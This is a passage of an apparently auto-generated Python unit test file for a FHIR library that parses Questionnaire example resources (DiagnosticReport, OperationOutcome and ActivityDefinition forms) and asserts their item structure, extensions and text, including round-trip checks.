impl_questionnaire_2(inst): assert inst.contained[0].id == "vs2" assert inst.contained[1].id == "vs3" assert inst.contained[2].id == "vs4" assert inst.contained[3].id == "vs5" assert inst.contained[4].id == "vs6" assert inst.contained[5].id == "vs7" assert inst.date == fhirtypes.DateTime.validate("2015-10-09T00:00:00+11:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].linkId == "display.ID" assert inst.item[0].item[1].type == "display" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[2].extension[1].valueString == "string" assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].item[1].linkId == "DiagnosticReport.id.value" assert inst.item[0].item[2].item[1].repeats is False assert inst.item[0].item[2].item[1].required is False assert inst.item[0].item[2].item[1].text == "Logical id of this artifact" assert inst.item[0].item[2].item[1].type == "string" assert inst.item[0].item[2].linkId == "DiagnosticReport.id" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].linkId == "DiagnosticReport.meta" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].text == "Metadata about the resource" assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "uri" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "DiagnosticReport.implicitRules.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert ( inst.item[0].item[4].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[4].item[1].type == "string" assert inst.item[0].item[4].linkId == "DiagnosticReport.implicitRules" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[5].extension[1].valueString == "code" assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].item[1].linkId == "DiagnosticReport.language.value" assert inst.item[0].item[5].item[1].repeats is False assert inst.item[0].item[5].item[1].required is False assert inst.item[0].item[5].item[1].text == "language" assert inst.item[0].item[5].item[1].type == "choice" assert inst.item[0].item[5].linkId == "DiagnosticReport.language" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "DiagnosticReport.text" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert ( inst.item[0].item[6].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "DiagnosticReport.contained" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Contained, inline Resources" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].text == "An Extension" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "DiagnosticReport.extension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extension" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].linkId == "DiagnosticReport.modifierExtension" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "Extensions that cannot be ignored" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "DiagnosticReport" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == ( "A Diagnostic report - a combination of request information, " "atomic results, images, interpretation, as well as formatted" " reports" ) assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (Clinical Genomics)" assert inst.status == "draft" def test_questionnaire_2(base_settings): """No. 2 tests collection for Questionnaire. Test File: hlaresult-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "hlaresult-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_2(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_2(inst2) def impl_questionnaire_3(inst): assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].linkId == "display.ID" assert inst.item[0].item[1].text == ( "A collection of error, warning or information messages that " "result from a system action." ) assert inst.item[0].item[1].type == "display" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[2].extension[1].valueString == "string" assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].item[1].linkId == "OperationOutcome.id.value" assert inst.item[0].item[2].item[1].repeats is False assert inst.item[0].item[2].item[1].required is False assert inst.item[0].item[2].item[1].text == "Logical id of this artifact" assert inst.item[0].item[2].item[1].type == "string" assert inst.item[0].item[2].linkId == "OperationOutcome.id" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].linkId == "OperationOutcome.meta" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].text == "Metadata about the resource" assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "uri" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "OperationOutcome.implicitRules.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert ( inst.item[0].item[4].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[4].item[1].type == "string" assert inst.item[0].item[4].linkId == "OperationOutcome.implicitRules" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[5].extension[1].valueString == "code" assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].item[1].linkId == "OperationOutcome.language.value" assert inst.item[0].item[5].item[1].repeats is False assert inst.item[0].item[5].item[1].required is False assert inst.item[0].item[5].item[1].text == "language" assert inst.item[0].item[5].item[1].type == "choice" assert inst.item[0].item[5].linkId == "OperationOutcome.language" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "OperationOutcome.text" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert ( inst.item[0].item[6].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "OperationOutcome.contained" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Contained, inline Resources" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "OperationOutcome.extension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Additional Content defined by implementations" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].linkId == "OperationOutcome.modifierExtension" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "Extensions that cannot be ignored" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "OperationOutcome" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "Information about the success/failure of an action" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (FHIR Infrastructure)" assert inst.status == "draft" def test_questionnaire_3(base_settings): """No. 3 tests collection for Questionnaire. Test File: operationoutcome-questionnaire.json """ filename = ( base_settings["unittest_data_dir"] / "operationoutcome-questionnaire.json" ) inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_3(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_3(inst2) def impl_questionnaire_4(inst): assert inst.contained[0].id == "vs2" assert inst.contained[1].id == "vs3" assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].text == ( "This resource allows for the definition of some activity to " "be performed, independent of a particular patient, " "practitioner, or other performance context." ) assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "ActivityDefinition.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "Logical id of this artifact" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "ActivityDefinition.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "ActivityDefinition.meta" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Metadata about the resource" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[1].valueString == "uri" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].type == "display" assert ( inst.item[0].item[3].item[1].linkId == "ActivityDefinition.implicitRules.value" ) assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "ActivityDefinition.implicitRules" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "ActivityDefinition.language.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "language" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "ActivityDefinition.language" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].linkId == "ActivityDefinition.text" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert ( inst.item[0].item[5].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "ActivityDefinition.contained" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].text == "Contained, inline Resources" assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "ActivityDefinition.extension" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Additional Content defined by implementations" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "ActivityDefinition.modifierExtension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extensions that cannot be ignored" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[9].extension[0].valueInteger == 1 assert inst.item[0].item[9].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[1].valueString == "uri" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == 